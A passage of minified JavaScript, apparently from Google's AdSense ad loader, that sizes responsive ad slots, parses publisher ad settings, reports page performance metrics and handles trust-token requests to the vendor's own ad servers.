f=a.size();b=f.h(b)+"x"+f.height();c.google_ad_format=b;c.google_responsive_auto_format=a.A;null!=a.h&&(c.armr=a.h);c.google_ad_resizable=!0;c.google_override_format=1;c.google_loader_features_used=128;!0===a.i&&(c.gfwrnh=a.size().height()+"px")}null!=a.H&&(c.gfwroml=a.H);null!=a.N&&(c.gfwromr=a.N);null!=a.l&&(c.gfwroh=a.l);null!=a.m&&(c.gfwrow=a.m);null!=a.O&&(c.gfwroz=a.O);null!=a.G&&(c.gml=a.G);null!=a.C&&(c.gmr=a.C);null!=a.R&&(c.gzi=a.R);b=Ic(window)||window;yl(b.location,"google_responsive_dummy_ad")&& (Xa([1,2,3,4,5,6,7,8],a.A)||1===a.h)&&2!==a.h&&(a=JSON.stringify({googMsgType:"adpnt",key_value:[{key:"qid",value:"DUMMY_AD"}]}),c.dash="<"+Bm+">window.top.postMessage('"+a+"', '*');\n </"+Bm+'>\n <div id="dummyAd" style="width:'+d+"px;height:"+e+'px;\n background:#ddd;border:3px solid #f00;box-sizing:border-box;\n color:#000;">\n <p>Requested size:'+d+"x"+e+"</p>\n <p>Rendered size:"+d+"x"+e+"</p>\n </div>")};var Em=["google_content_recommendation_ui_type","google_content_recommendation_columns_num","google_content_recommendation_rows_num"];function Fm(a,b){wi.call(this,a,b)}v(Fm,wi);Fm.prototype.h=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))}; function Gm(a,b){Hm(a,b);if("pedestal"==b.google_content_recommendation_ui_type)return new Cm(9,new Fm(a,Math.floor(a*b.google_phwr)));var c=Cc();468>a?c?(c=a-8-8,c=Math.floor(c/1.91+70)+Math.floor(11*(c*um.mobile_banner_image_sidebyside+wm.mobile_banner_image_sidebyside)+96),a={aa:a,$:c,J:1,K:12,T:"mobile_banner_image_sidebyside"}):(a=Am(a),a={aa:a.width,$:a.height,J:1,K:13,T:"image_sidebyside"}):(a=Am(a),a={aa:a.width,$:a.height,J:4,K:2,T:"image_stacked"});Im(b,a);return new Cm(9,new Fm(a.aa,a.$))} function Jm(a,b){Hm(a,b);var c=zm({K:b.google_content_recommendation_rows_num,J:b.google_content_recommendation_columns_num,T:b.google_content_recommendation_ui_type});if(c.M)a={aa:0,$:0,J:0,K:0,T:"image_stacked",M:c.M};else{var d=2===c.Na.length&&468<=a?1:0;var e=c.Na[d];e=0===e.indexOf("pub_control_")?e:"pub_control_"+e;var f=ym[e];for(var g=c.J[d];a/g<f&&1<g;)g--;f=g;c=c.K[d];d=Math.floor(((a-8*f-8)/f*um[e]+wm[e])*c+8*c+8);a=1500<a?{width:0,height:0,rb:"Calculated slot width is too large: "+a}: 1500<d?{width:0,height:0,rb:"Calculated slot height is too large: "+d}:{width:a,height:d};a={aa:a.width,$:a.height,J:f,K:c,T:e}}if(a.M)throw new T(a.M);Im(b,a);return new Cm(9,new Fm(a.aa,a.$))}function Hm(a,b){if(0>=a)throw new T("Invalid responsive width from Matched Content slot "+b.google_ad_slot+": "+a+". Please ensure to put this Matched Content slot into a non-zero width div container.");} function Im(a,b){a.google_content_recommendation_ui_type=b.T;a.google_content_recommendation_columns_num=b.J;a.google_content_recommendation_rows_num=b.K};function Km(a,b){wi.call(this,a,b)}v(Km,wi);Km.prototype.h=function(){return this.minWidth()};Km.prototype.i=function(a,b,c){vi(a,c);b.google_ad_resize||(c.style.height=this.height()+"px",b.rpe=!0)};var Lm={"image-top":function(a){return 600>=a?284+.414*(a-250):429},"image-middle":function(a){return 500>=a?196-.13*(a-250):164+.2*(a-500)},"image-side":function(a){return 500>=a?205-.28*(a-250):134+.21*(a-500)},"text-only":function(a){return 500>=a?187-.228*(a-250):130},"in-article":function(a){return 420>=a?a/1.2:460>=a?a/1.91+130:800>=a?a/4:200}};function Mm(a,b){wi.call(this,a,b)}v(Mm,wi);Mm.prototype.h=function(){return Math.min(1200,this.minWidth())}; function Nm(a,b,c,d,e){var f=e.google_ad_layout||"image-top";if("in-article"==f){var g=a;if("false"==e.google_full_width_responsive)a=g;else if(a=qi(b,c,g,.2,e),!0!==a)e.gfwrnwer=a,a=g;else if(a=Wf(b))if(e.google_full_width_responsive_allowed=!0,c.parentElement){b:{g=c;for(var h=0;100>h&&g.parentElement;++h){for(var k=g.parentElement.childNodes,l=0;l<k.length;++l){var m=k[l];if(m!=g&&ti(b,m))break b}g=g.parentElement;g.style.width="100%";g.style.height="auto"}}vi(b,c)}else a=g;else a=g}if(250>a)throw new T("Fluid responsive ads must be at least 250px wide: availableWidth="+ a);a=Math.min(1200,Math.floor(a));if(d&&"in-article"!=f){f=Math.ceil(d);if(50>f)throw new T("Fluid responsive ads must be at least 50px tall: height="+f);return new Cm(11,new wi(a,f))}if("in-article"!=f&&(d=e.google_ad_layout_key)){f=""+d;b=Math.pow(10,3);if(d=(c=f.match(/([+-][0-9a-z]+)/g))&&c.length){e=[];for(g=0;g<d;g++)e.push(parseInt(c[g],36)/b);b=e}else b=null;if(!b)throw new T("Invalid data-ad-layout-key value: "+f);f=(a+-725)/1E3;c=0;d=1;e=b.length;for(g=0;g<e;g++)c+=b[g]*d,d*=f;f=Math.ceil(1E3* c- -725+10);if(isNaN(f))throw new T("Invalid height: height="+f);if(50>f)throw new T("Fluid responsive ads must be at least 50px tall: height="+f);if(1200<f)throw new T("Fluid responsive ads must be at most 1200px tall: height="+f);return new Cm(11,new wi(a,f))}d=Lm[f];if(!d)throw new T("Invalid data-ad-layout value: "+f);c=Ai(c,b);b=Wf(b);b="in-article"!==f||c||a!==b?Math.ceil(d(a)):Math.ceil(1.25*d(a));return new Cm(11,"in-article"==f?new Mm(a,b):new wi(a,b))};function Om(a){return function(b){for(var c=a.length-1;0<=c;--c)if(!a[c](b))return!1;return!0}}function Pm(a,b){for(var c=Qm.slice(0),d=c.length,e=null,f=0;f<d;++f){var g=c[f];if(a(g)){if(!b||b(g))return g;null===e&&(e=g)}}return e};var W=[new V(970,90,2),new V(728,90,2),new V(468,60,2),new V(336,280,1),new V(320,100,2),new V(320,50,2),new V(300,600,4),new V(300,250,1),new V(250,250,1),new V(234,60,2),new V(200,200,1),new V(180,150,1),new V(160,600,4),new V(125,125,1),new V(120,600,4),new V(120,240,4),new V(120,120,1,!0)],Qm=[W[6],W[12],W[3],W[0],W[7],W[14],W[1],W[8],W[10],W[4],W[15],W[2],W[11],W[5],W[13],W[9],W[16]];function Rm(a,b,c,d,e){"false"==e.google_full_width_responsive?c={D:a,F:1}:"autorelaxed"==b&&e.google_full_width_responsive||Sm(b)||e.google_ad_resize?(b=ri(a,c,d,e),c=!0!==b?{D:a,F:b}:{D:Wf(c)||a,F:!0}):c={D:a,F:2};b=c.F;return!0!==b?{D:a,F:b}:d.parentElement?{D:c.D,F:b}:{D:a,F:b}} function Tm(a,b,c,d,e){var f=Wi(247,function(){return Rm(a,b,c,d,e)}),g=f.D;f=f.F;var h=!0===f,k=K(d.style.width),l=K(d.style.height),m=Um(g,b,c,d,e,h);g=m.Y;h=m.W;var q=m.pa;m=m.Ma;var t=Vm(b,q),y,F=(y=xi(d,c,"marginLeft",K))?y+"px":"",z=(y=xi(d,c,"marginRight",K))?y+"px":"";y=xi(d,c,"zIndex")||"";return new Cm(t,g,q,null,m,f,h,F,z,l,k,y)}function Sm(a){return"auto"==a||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(a)} function Um(a,b,c,d,e,f){b="auto"==b?.25>=a/Math.min(1200,Wf(c))?4:3:pi(b);var g=!1,h=!1;if(488>Wf(c)){var k=ki(d,c);var l=Ai(d,c);g=!l&&k;h=l&&k}l=[yi(a),sm(b)];l.push(zi(488>Wf(c),c,d,h));null!=e.google_max_responsive_height&&l.push(Ci(e.google_max_responsive_height));var m=[function(t){return!t.ib}];if(g||h)g=Di(c,d),m.push(Ci(g));var q=Pm(Om(l),Om(m));if(!q)throw new T("No slot size for availableWidth="+a);l=Wi(248,function(){var t;a:if(f){if(e.gfwrnh&&(t=K(e.gfwrnh))){t={Y:new Km(a,t),W:!0}; break a}t=a/1.2;var y=Math;var F=y.min;if(e.google_resizing_allowed||"true"==e.google_full_width_responsive)var z=Infinity;else{z=d;var E=Infinity;do{var S=xi(z,c,"height",K);S&&(E=Math.min(E,S));(S=xi(z,c,"maxHeight",K))&&(E=Math.min(E,S))}while((z=z.parentElement)&&"HTML"!=z.tagName);z=E}y=F.call(y,t,z);if(y<.5*t||100>y)y=t;P(hf)&&!Ai(d,c)&&(y=Math.max(y,.5*Vf(c).clientHeight));t={Y:new Km(a,Math.floor(y)),W:y<t?102:!0}}else t={Y:q,W:100};return t});g=l.Y;l=l.W;return"in-article"===e.google_ad_layout&& Wm(c)?{Y:Xm(a,c,d,g,e),W:!1,pa:b,Ma:k}:{Y:g,W:l,pa:b,Ma:k}}function Vm(a,b){if("auto"==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error("bad mask");}function Xm(a,b,c,d,e){var f=e.google_ad_height||xi(c,b,"height",K);b=Nm(a,b,c,f,e).size();return b.minWidth()*b.height()>a*d.height()?new V(b.minWidth(),b.height(),1):d}function Wm(a){return P(ff)||a.location&&"#hffwroe2etoq"==a.location.hash};function Ym(a,b,c,d,e){var f;(f=Wf(b))?488>Wf(b)?b.innerHeight>=b.innerWidth?(e.google_full_width_responsive_allowed=!0,vi(b,c),f={D:f,F:!0}):f={D:a,F:5}:f={D:a,F:4}:f={D:a,F:10};var g=f;f=g.D;g=g.F;if(!0!==g||a==f)return new Cm(12,new wi(a,d),null,null,!0,g,100);a=Um(f,"auto",b,c,e,!0);return new Cm(1,a.Y,a.pa,2,!0,g,a.W)};function Zm(a,b){var c=b.google_ad_format;if("autorelaxed"==c){a:{if("pedestal"!=b.google_content_recommendation_ui_type)for(a=u(Em),c=a.next();!c.done;c=a.next())if(null!=b[c.value]){b=!0;break a}b=!1}return b?9:5}if(Sm(c))return 1;if("link"===c)return 4;if("fluid"==c){if(c="in-article"===b.google_ad_layout)c=P(gf)||P(ff)||a.location&&("#hffwroe2etop"==a.location.hash||"#hffwroe2etoq"==a.location.hash);return c?($m(b),1):8}if(27===b.google_reactive_ad_format)return $m(b),1} function an(a,b,c,d,e){e=b.offsetWidth||(c.google_ad_resize||(void 0===e?!1:e))&&xi(b,d,"width",K)||c.google_ad_width||0;4===a&&(c.google_ad_format="auto",a=1);var f=(f=bn(a,e,b,c,d))?f:Tm(e,c.google_ad_format,d,b,c);f.size().i(d,c,b);Dm(f,e,c);1!=a&&(a=f.size().height(),b.style.height=a+"px")} function bn(a,b,c,d,e){var f=d.google_ad_height||xi(c,e,"height",K);switch(a){case 5:return f=Wi(247,function(){return Rm(b,d.google_ad_format,e,c,d)}),a=f.D,f=f.F,!0===f&&b!=a&&vi(e,c),!0===f?d.google_full_width_responsive_allowed=!0:(d.google_full_width_responsive_allowed=!1,d.gfwrnwer=f),Gm(a,d);case 9:return Jm(b,d);case 8:return Nm(b,e,c,f,d);case 10:return Ym(b,e,c,f,d)}}function $m(a){a.google_ad_format="auto";a.armr=3};function cn(a,b){var c=Ic(b);if(c){c=Wf(c);var d=Nc(a,b)||{},e=d.direction;if("0px"===d.width&&"none"!==d.cssFloat)return-1;if("ltr"===e&&c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if("rtl"===e&&c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};var dn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/slotcar_library",".js"]),en=ja(["https://googleads.g.doubleclick.net/pagead/html/","/","/zrt_lookup.html"]),fn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl",".js"]),gn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl_with_ama",".js"]),hn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl_instrumented",".js"]);function jn(a){Ui.Ta(function(b){b.shv=String(a);b.mjsv="m202204040101";var c=O(Oh).h(),d=U(w);d.eids||(d.eids=[]);b.eid=c.concat(d.eids).join(",")})};function kn(a){var b=a.nb;return a.eb||("dev"===b?"dev":"")};var ln={},mn=(ln.google_ad_modifications=!0,ln.google_analytics_domain_name=!0,ln.google_analytics_uacct=!0,ln.google_pause_ad_requests=!0,ln.google_user_agent_client_hint=!0,ln);function nn(a){return(a=a.innerText||a.innerHTML)&&(a=a.replace(/^\s+/,"").split(/\r?\n/,1)[0].match(/^\x3c!--+(.*?)(?:--+>)?\s*$/))&&RegExp("google_ad_client").test(a[1])?a[1]:null} function on(a){if(a=a.innerText||a.innerHTML)if(a=a.replace(/^\s+|\s+$/g,"").replace(/\s*(\r?\n)+\s*/g,";"),(a=a.match(/^\x3c!--+(.*?)(?:--+>)?$/)||a.match(/^\/*\s*<!\[CDATA\[(.*?)(?:\/*\s*\]\]>)?$/i))&&RegExp("google_ad_client").test(a[1]))return a[1];return null} function pn(a){switch(a){case "true":return!0;case "false":return!1;case "null":return null;case "undefined":break;default:try{var b=a.match(/^(?:'(.*)'|"(.*)")$/);if(b)return b[1]||b[2]||"";if(/^[-+]?\d*(\.\d+)?$/.test(a)){var c=parseFloat(a);return c===c?c:void 0}}catch(d){}}};function qn(a){if(a.google_ad_client)return String(a.google_ad_client);var b,c,d,e,f;if(null!=(e=null!=(d=null==(b=U(a).head_tag_slot_vars)?void 0:b.google_ad_client)?d:null==(c=a.document.querySelector(".adsbygoogle[data-ad-client]"))?void 0:c.getAttribute("data-ad-client")))b=e;else{b:{b=a.document.getElementsByTagName("script");a=a.navigator&&a.navigator.userAgent||"";a=RegExp("appbankapppuzdradb|daumapps|fban|fbios|fbav|fb_iab|gsa/|messengerforios|naver|niftyappmobile|nonavigation|pinterest|twitter|ucbrowser|yjnewsapp|youtube", "i").test(a)||/i(phone|pad|pod)/i.test(a)&&/applewebkit/i.test(a)&&!/version|safari/i.test(a)&&!qd()?nn:on;for(c=b.length-1;0<=c;c--)if(d=b[c],!d.google_parsed_script_for_pub_code&&(d.google_parsed_script_for_pub_code=!0,d=a(d))){b=d;break b}b=null}if(b){a=/(google_\w+) *= *(['"]?[\w.-]+['"]?) *(?:;|$)/gm;for(c={};d=a.exec(b);)c[d[1]]=pn(d[2]);b=c.google_ad_client?c.google_ad_client:""}else b=""}return null!=(f=b)?f:""};var rn="undefined"===typeof sttc?void 0:sttc;function sn(a){var b=Ui;try{return Yf(a,Zf),new Rk(JSON.parse(a))}catch(c){b.I(838,c instanceof Error?c:Error(String(c)),void 0,function(d){d.jspb=String(a)})}return new Rk};var tn=O(yf).h(mf.h,mf.defaultValue);function un(){var a=L.document;a=void 0===a?window.document:a;ed(tn,a)};var vn=O(yf).h(nf.h,nf.defaultValue);function wn(){var a=L.document;a=void 0===a?window.document:a;ed(vn,a)};var xn=ja(["https://pagead2.googlesyndication.com/pagead/js/err_rep.js"]);function yn(){this.h=null;this.j=!1;this.l=Math.random();this.i=this.I;this.m=null}n=yn.prototype;n.Ta=function(a){this.h=a};n.Va=function(a){this.j=a};n.Ua=function(a){this.i=a}; n.I=function(a,b,c,d,e){if((this.j?this.l:Math.random())>(void 0===c?.01:c))return!1;Rh(b)||(b=new Qh(b,{context:a,id:void 0===e?"jserror":e}));if(d||this.h)b.meta={},this.h&&this.h(b.meta),d&&d(b.meta);w.google_js_errors=w.google_js_errors||[];w.google_js_errors.push(b);if(!w.error_rep_loaded){a=nd(xn);var f;Lc(w.document,null!=(f=this.m)?f:hc(qc(a).toString()));w.error_rep_loaded=!0}return!1};n.oa=function(a,b,c){try{return b()}catch(d){if(!this.i(a,d,.01,c,"jserror"))throw d;}}; n.Oa=function(a,b){var c=this;return function(){var d=ta.apply(0,arguments);return c.oa(a,function(){return b.apply(void 0,d)})}};n.Pa=function(a,b){var c=this;b.catch(function(d){d=d?d:"unknown rejection";c.I(a,d instanceof Error?d:Error(d))})};function zn(a,b,c){var d=window;return function(){var e=Yh(),f=3;try{var g=b.apply(this,arguments)}catch(h){f=13;if(c)return c(a,h),g;throw h;}finally{d.google_measure_js_timing&&e&&(e={label:a.toString(),value:e,duration:(Yh()||0)-e,type:f},f=d.google_js_reporting_queue=d.google_js_reporting_queue||[],2048>f.length&&f.push(e))}return g}}function An(a,b){return zn(a,b,function(c,d){(new yn).I(c,d)})};function Bn(a,b){return null==b?"&"+a+"=null":"&"+a+"="+Math.floor(b)}function Cn(a,b){return"&"+a+"="+b.toFixed(3)}function Dn(){var a=new p.Set,b=aj();try{if(!b)return a;for(var c=b.pubads(),d=u(c.getSlots()),e=d.next();!e.done;e=d.next())a.add(e.value.getSlotId().getDomId())}catch(f){}return a}function En(a){a=a.id;return null!=a&&(Dn().has(a)||r(a,"startsWith").call(a,"google_ads_iframe_")||r(a,"startsWith").call(a,"aswift"))} function Fn(a,b,c){if(!a.sources)return!1;switch(Gn(a)){case 2:var d=Hn(a);if(d)return c.some(function(f){return In(d,f)});case 1:var e=Jn(a);if(e)return b.some(function(f){return In(e,f)})}return!1}function Gn(a){if(!a.sources)return 0;a=a.sources.filter(function(b){return b.previousRect&&b.currentRect});if(1<=a.length){a=a[0];if(a.previousRect.top<a.currentRect.top)return 2;if(a.previousRect.top>a.currentRect.top)return 1}return 0}function Jn(a){return Kn(a,function(b){return b.currentRect})} function Hn(a){return Kn(a,function(b){return b.previousRect})}function Kn(a,b){return a.sources.reduce(function(c,d){d=b(d);return c?d&&0!==d.width*d.height?d.top<c.top?d:c:c:d},null)} function Ln(){Mj.call(this);this.i=this.h=this.P=this.O=this.H=0;this.Ba=this.ya=Number.NEGATIVE_INFINITY;this.ua=this.wa=this.xa=this.za=this.Ea=this.m=this.Da=this.U=0;this.va=!1;this.R=this.N=this.C=0;var a=document.querySelector("[data-google-query-id]");this.Ca=a?a.getAttribute("data-google-query-id"):null;this.l=null;this.Aa=!1;this.ga=function(){}}v(Ln,Mj); function Mn(){var a=new Ln;if(P(of)){var b=window;if(!b.google_plmetrics&&window.PerformanceObserver){b.google_plmetrics=!0;b=u(["layout-shift","largest-contentful-paint","first-input","longtask"]);for(var c=b.next();!c.done;c=b.next())c=c.value,Nn(a).observe({type:c,buffered:!0});On(a)}}} function Nn(a){a.l||(a.l=new PerformanceObserver(An(640,function(b){var c=Pn!==window.scrollX||Qn!==window.scrollY?[]:Rn,d=Sn();b=u(b.getEntries());for(var e=b.next();!e.done;e=b.next())switch(e=e.value,e.entryType){case "layout-shift":var f=a;if(!e.hadRecentInput){f.H+=Number(e.value);Number(e.value)>f.O&&(f.O=Number(e.value));f.P+=1;var g=Fn(e,c,d);g&&(f.m+=e.value,f.za++);if(5E3<e.startTime-f.ya||1E3<e.startTime-f.Ba)f.ya=e.startTime,f.h=0,f.i=0;f.Ba=e.startTime;f.h+=e.value;g&&(f.i+=e.value); f.h>f.U&&(f.U=f.h,f.Ea=f.i,f.Da=e.startTime+e.duration)}break;case "largest-contentful-paint":a.xa=Math.floor(e.renderTime||e.loadTime);a.wa=e.size;break;case "first-input":a.ua=Number((e.processingStart-e.startTime).toFixed(3));a.va=!0;break;case "longtask":e=Math.max(0,e.duration-50),a.C+=e,a.N=Math.max(a.N,e),a.R+=1}})));return a.l} function On(a){var b=An(641,function(){var d=document;2==(d.prerendering?3:{visible:1,hidden:2,prerender:3,preview:4,unloaded:5}[d.visibilityState||d.webkitVisibilityState||d.mozVisibilityState||""]||0)&&Tn(a)}),c=An(641,function(){return void Tn(a)});document.addEventListener("visibilitychange",b);document.addEventListener("unload",c);a.ga=function(){document.removeEventListener("visibilitychange",b);document.removeEventListener("unload",c);Nn(a).disconnect()}} Ln.prototype.j=function(){Mj.prototype.j.call(this);this.ga()}; function Tn(a){if(!a.Aa){a.Aa=!0;Nn(a).takeRecords();var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=plmetrics";window.LayoutShift&&(b+=Cn("cls",a.H),b+=Cn("mls",a.O),b+=Bn("nls",a.P),window.LayoutShiftAttribution&&(b+=Cn("cas",a.m),b+=Bn("nas",a.za)),b+=Cn("wls",a.U),b+=Cn("tls",a.Da),window.LayoutShiftAttribution&&(b+=Cn("was",a.Ea)));window.LargestContentfulPaint&&(b+=Bn("lcp",a.xa),b+=Bn("lcps",a.wa));window.PerformanceEventTiming&&a.va&&(b+=Bn("fid",a.ua));window.PerformanceLongTaskTiming&& (b+=Bn("cbt",a.C),b+=Bn("mbt",a.N),b+=Bn("nlt",a.R));for(var c=0,d=u(document.getElementsByTagName("iframe")),e=d.next();!e.done;e=d.next())En(e.value)&&c++;b+=Bn("nif",c);b+=Bn("ifi",pd(window));c=O(Oh).h();b+="&eid="+encodeURIComponent(c.join());b+="&top="+(w===w.top?1:0);b+=a.Ca?"&qqid="+encodeURIComponent(a.Ca):Bn("pvsid",fd(w));window.googletag&&(b+="&gpt=1");window.fetch(b,{keepalive:!0,credentials:"include",redirect:"follow",method:"get",mode:"no-cors"});a.A||(a.A=!0,a.j())}} function In(a,b){var c=Math.min(a.right,b.right)-Math.max(a.left,b.left);a=Math.min(a.bottom,b.bottom)-Math.max(a.top,b.top);return 0>=c||0>=a?!1:50<=100*c*a/((b.right-b.left)*(b.bottom-b.top))} function Sn(){var a=[].concat(ka(document.getElementsByTagName("iframe"))).filter(En),b=[].concat(ka(Dn())).map(function(c){return document.getElementById(c)}).filter(function(c){return null!==c});Pn=window.scrollX;Qn=window.scrollY;return Rn=[].concat(ka(a),ka(b)).map(function(c){return c.getBoundingClientRect()})}var Pn=void 0,Qn=void 0,Rn=[];var X={issuerOrigin:"https://attestation.android.com",issuancePath:"/att/i",redemptionPath:"/att/r"},Y={issuerOrigin:"https://pagead2.googlesyndication.com",issuancePath:"/dtt/i",redemptionPath:"/dtt/r",getStatePath:"/dtt/s"};var Un=O(yf).h(wf.h,wf.defaultValue); function Vn(a,b,c){Mj.call(this);var d=this;this.i=a;this.h=[];b&&Wn()&&this.h.push(X);c&&this.h.push(Y);if(document.hasTrustToken&&!P(tf)){var e=new p.Map;this.h.forEach(function(f){e.set(f.issuerOrigin,{issuerOrigin:f.issuerOrigin,state:d.i?1:12,hasRedemptionRecord:!1})});window.goog_tt_state_map=window.goog_tt_state_map&&window.goog_tt_state_map instanceof p.Map?new p.Map([].concat(ka(e),ka(window.goog_tt_state_map))):e;window.goog_tt_promise_map&&window.goog_tt_promise_map instanceof p.Map||(window.goog_tt_promise_map= new p.Map)}}v(Vn,Mj);function Wn(){var a=void 0===a?window:a;a=a.navigator.userAgent;var b=/Chrome/.test(a);return/Android/.test(a)&&b}function Xn(){var a=void 0===a?window.document:a;ed(Un,a)}function Yn(a,b){return a||".google.ch"===b||"function"===typeof L.__tcfapi}function Z(a,b,c){var d,e=null==(d=window.goog_tt_state_map)?void 0:d.get(a);e&&(e.state=b,void 0!=c&&(e.hasRedemptionRecord=c))} function Zn(){var a=X.issuerOrigin+X.redemptionPath,b={keepalive:!0,trustToken:{type:"token-redemption",issuer:X.issuerOrigin,refreshPolicy:"none"}};Z(X.issuerOrigin,2);return window.fetch(a,b).then(function(c){if(!c.ok)throw Error(c.status+": Network response was not ok!");Z(X.issuerOrigin,6,!0)}).catch(function(c){c&&"NoModificationAllowedError"===c.name?Z(X.issuerOrigin,6,!0):Z(X.issuerOrigin,5)})} function $n(){var a=X.issuerOrigin+X.issuancePath;Z(X.issuerOrigin,8);return window.fetch(a,{keepalive:!0,trustToken:{type:"token-request"}}).then(function(b){if(!b.ok)throw Error(b.status+": Network response was not ok!");Z(X.issuerOrigin,10);return Zn()}).catch(function(b){if(b&&"NoModificationAllowedError"===b.name)return Z(X.issuerOrigin,10),Zn();Z(X.issuerOrigin,9)})}function ao(){Z(X.issuerOrigin,13);return document.hasTrustToken(X.issuerOrigin).then(function(a){return a?Zn():$n()})} function bo(){Z(Y.issuerOrigin,13);if(p.Promise){var a=document.hasTrustToken(Y.issuerOrigin).then(function(e){return e}).catch(function(e){return p.Promise.reject({state:19,error:e})}),b=Y.issuerOrigin+Y.redemptionPath,c={keepalive:!0,trustToken:{type:"token-redemption",refreshPolicy:"none"}};Z(Y.issuerOrigin,16);a=a.then(function(e){return window.fetch(b,c).then(function(f){if(!f.ok)throw Error(f.status+": Network response was not ok!");Z(Y.issuerOrigin,18,!0)}).catch(function(f){if(f&&"NoModificationAllowedError"=== f.name)Z(Y.issuerOrigin,18,!0);else{if(e)return p.Promise.reject({state:17,error:f});Z(Y.issuerOrigin,17)}})}).then(function(){return document.hasTrustToken(Y.issuerOrigin).then(function(e){return e}).catch(function(e){return p.Promise.reject({state:19,error:e})})}).then(function(e){var f=Y.issuerOrigin+Y.getStatePath;Z(Y.issuerOrigin,20);return window.fetch(f+"?ht="+e,{trustToken:{type:"send-redemption-record",issuers:[Y.issuerOrigin]}}).then(function(g){if(!g.ok)throw Error(g.status+": Network response was not ok!"); Z(Y.issuerOrigin,22);return g.text().then(function(h){return JSON.parse(h)})}).catch(function(g){return p.Promise.reject({state:21,error:g})})});var d=fd(window);return a.then(function(e){var f=Y.issuerOrigin+Y.issuancePath;return e&&e.srqt&&e.cs?(Z(Y.issuerOrigin,23),window.fetch(f+"?cs="+e.cs+"&correlator="+d,{keepalive:!0,trustToken:{type:"token-request"}}).then(function(g){if(!g.ok)throw Error(g.status+": Network response was not ok!");Z(Y.issuerOrigin,25);return e}).catch(function(g){return p.Promise.reject({state:24, error:g})})):e}).then(function(e){if(e&&e.srdt&&e.cs)return Z(Y.issuerOrigin,26),window.fetch(b+"?cs="+e.cs+"&correlator="+d,{keepalive:!0,trustToken:{type:"token-redemption",refreshPolicy:"refresh"}}).then(function(f){if(!f.ok)throw Error(f.status+": Network response was not ok!");Z(Y.issuerOrigin,28,!0)}).catch(function(f){return p.Promise.reject({state:27,error:f})})}).then(function(){Z(Y.issuerOrigin,29)}).catch(function(e){if(e instanceof Object&&e.hasOwnProperty("state")&&e.hasOwnProperty("error"))if("number"=== typeof e.state&&e.error instanceof Error){Z(Y.issuerOrigin,e.state);var f=Q(vf);Math.random()<=f&&Ff({state:e.state,err:e.error.toString()})}else throw Error(e);else throw e;})}} function co(a){if(document.hasTrustToken&&!P(tf)&&a.i){var b=window.goog_tt_promise_map;if(b&&b instanceof p.Map){var c=[];if(a.h.some(function(e){return e.issuerOrigin===X.issuerOrigin})){var d=b.get(X.issuerOrigin);d||(d=ao(),b.set(X.issuerOrigin,d));c.push(d)}a.h.some(function(e){return e.issuerOrigin===Y.issuerOrigin})&&(a=b.get(Y.issuerOrigin),a||(a=bo(),b.set(Y.issuerOrigin,a)),c.push(a));if(0<c.length&&p.Promise&&p.Promise.all)return p.Promise.all(c)}}};function eo(a){J.call(this,a,-1,fo)}v(eo,J);function go(a,b){return B(a,2,b)}function ho(a,b){return B(a,3,b)}function io(a,b){return B(a,4,b)}function jo(a,b){return B(a,5,b)}function ko(a,b){return B(a,9,b)}function lo(a,b){return Gb(a,10,b)}function mo(a,b){return B(a,11,b)}function no(a,b){return B(a,1,b)}function oo(a){J.call(this,a)}v(oo,J);oo.prototype.getVersion=function(){return I(this,2)};var fo=[10,6];var po="platform platformVersion architecture model uaFullVersion bitness fullVersionList wow64".split(" ");function qo(){var a;return null!=(a=L.google_tag_data)?a:L.google_tag_data={}} function ro(){var a,b;if("function"!==typeof(null==(a=L.navigator)?void 0:null==(b=a.userAgentData)?void 0:b.getHighEntropyValues))return null;var c=qo();if(c.uach_promise)return c.uach_promise;a=L.navigator.userAgentData.getHighEntropyValues(po).then(function(d){null!=c.uach||(c.uach=d);return d});return c.uach_promise=a} function so(a){var b;return mo(lo(ko(jo(io(ho(go(no(new eo,a.platform||""),a.platformVersion||""),a.architecture||""),a.model||""),a.uaFullVersion||""),a.bitness||""),(null==(b=a.fullVersionList)?void 0:b.map(function(c){var d=new oo;d=B(d,1,c.brand);return B(d,2,c.version)}))||[]),a.wow64||!1)} function to(){if(P(pf)){var a,b;return null!=(b=null==(a=ro())?void 0:a.then(function(f){return so(f)}))?b:null}var c,d;if("function"!==typeof(null==(c=L.navigator)?void 0:null==(d=c.userAgentData)?void 0:d.getHighEntropyValues))return null;var e;return null!=(e=L.navigator.userAgentData.getHighEntropyValues(po).then(function(f){return so(f)}))?e:null};function uo(a,b){b.google_ad_host||(a=vo(a))&&(b.google_ad_host=a)}function wo(a,b,c){c=void 0===c?"":c;L.google_sa_impl&&!L.document.getElementById("google_shimpl")&&(delete L.google_sa_queue,delete L.google_sa_impl);L.google_sa_queue||(L.google_sa_queue=[],L.google_process_slots=Xi(215,function(){return xo(L.google_sa_queue)}),a=yo(c,a,b),Lc(L.document,a).id="google_shimpl")} function xo(a){var b=a.shift();"function"===typeof b&&Wi(216,b);a.length&&w.setTimeout(Xi(215,function(){return xo(a)}),0)}function zo(a,b,c){a.google_sa_queue=a.google_sa_queue||[];a.google_sa_impl?c(b):a.google_sa_queue.push(b)} function yo(a,b,c){var d=Math.random()<Q(bf)?hc(qc(b.pb).toString()):null;b=D(c,4)?b.ob:b.qb;d=d?d:hc(qc(b).toString());b={};a:{if(D(c,4)){if(c=a||qn(L)){var e={};c=(e.client=c,e.plah=L.location.host,e);break a}throw Error("PublisherCodeNotFoundForAma");}c={}}Ao(c,b);a:{if(P($e)||P(Oe)){a=a||qn(L);var f;var g=(c=null==(g=U(L))?void 0:null==(f=g.head_tag_slot_vars)?void 0:f.google_ad_host)?c:vo(L);if(a){f={};g=(f.client=a,f.plah=L.location.host,f.ama_t="adsense",f.asntp=Q(Ge),f.asntpv=Q(Ke),f.asntpl= 